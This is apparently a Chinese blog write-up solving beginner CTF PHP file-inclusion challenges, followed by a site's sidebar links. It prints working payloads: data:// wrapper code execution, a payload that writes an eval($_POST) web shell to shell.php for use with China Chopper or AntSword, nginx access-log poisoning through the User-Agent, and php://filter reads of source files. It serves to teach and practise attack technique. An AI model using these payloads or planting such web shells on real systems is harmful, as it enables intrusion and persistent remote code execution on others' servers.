当前位置:网站首页>CTF入门之php文件包含
CTF入门之php文件包含
2022-08-02 03:25:00 【SevenCold】
一.php伪协议执行代码
由图可知,只需要通过get请求传送url变量即可触发include函数,一开始的思路是直接才flag的文件名,如flag.php等等,然后都失败了,然后想到了文件包含漏洞,利用php伪协议。
https://blog.csdn.net/yao_xin_de_yuan/article/details/108326427 php伪协议介绍
这里有两种方法:
1.url=data://text/plain,<?php print_r(glob("*")); ?>
通过通配符查找目录下的所有文件
找到两个文件,其中ctf_go_go_go文件中即为flag
2. 构造url=data:text/plain,<?php fputs(fopen("shell.php","w"),"<?php eval($_POST['h']);?>")?>
然后使用菜刀或蚁剑进行连接即可。
连接成功,打开相关文件即可。
二.日志注入
题目和上题一样,但用php伪协议是发现发生错误,所以应该是过滤了php,然后就可以进行日志注入。可以服务器问nginx,所以其日志目录为/var/log/nginx/access.log和/var/log/nginx/error.log
因此构造url=/var/log/nginx/access.log
发现日志会记录请求方法和user-agent 因为请求方法不能变,因此我们可以在user-agent处插入php代码,利用bp将user-agent字段改为<?php eval($_POST['h']);?> 发送后发现日志文件中的ua处为空,这是因为php代码会直接运行,而不会显示。然后我们用菜刀或蚁剑连接即可,但要注意url
进入后随便翻翻即可找到flag。
3.php伪协议读取文件
题目url如图,因为页面中并无明确提示,因此可以利用php伪协议读取文件内容看一下
构造url:?file=php://filter/read=convert.base64-encode/resource=flag.php
可以看到文件内容经过base64编码,我们解码一下即可得到flag
边栏推荐
- New usage of string variable parsing in PHP8.2
- [league/climate] A robust command-line function manipulation library
- (2) Thinkphp6 template engine ** tag
- TCP通信程序
- [league/flysystem] An elegant and highly supported file operation interface
- hackmyvm-bunny walkthrough
- js的“类数组”及“类数组转数组”
- Function hoisting and variable hoisting
- 12. What is JS
- 4. The form with the input
猜你喜欢
(2) Thinkphp6 template engine ** tag
v-bind用法:类动态绑定对象 数组 style样式 及函数方法
TCP communications program
PHP8.2的版本发布管理员和发布计划
Phpstudy安装Thinkphp6(问题+解决)
如何根据地图上的两个坐标点来确定方向
PHP入门(自学笔记)
What are the killer super powerful frameworks or libraries or applications for PHP?
SQL分类、DQL(数据查询语言)、以及相应SQL查询语句演示
hackmyvm: juggling walkthrough
随机推荐
(3) Thinkphp6 database
(5) 模块与包、编码格式、文件操作、目录操作
[vite] Failed to parse source for import analysis because the content contains invalid JS syntax.
[campo/random-user-agent]随机伪造你的User-Agent
Solve the problem of uni - app packaged H5 website to download image
每日五道面试题总结 22/7/21
Eric靶机渗透测试通关全教程
vim编辑模式
2.PHP变量、输出、EOF、条件语句
正则笔记(1)- 正则表达式字符匹配攻略
解决5+APP真机测试无法访问后台(同局域网)
The Error in the render: "TypeError: always read the properties of null '0' (reading)" Error solution
Batch replace file fonts, Simplified -> Traditional
Kali环境下Frida编写脚本智能提示
PHP8.2的版本发布管理员和发布计划
uniapp | 使用npm update更新后编译报错问题
DVWA靶机安装教程
PHP Foundation March Press Announcement Released
Add a full image watermark to an image in PHP
(6) 学生信息管理系统设计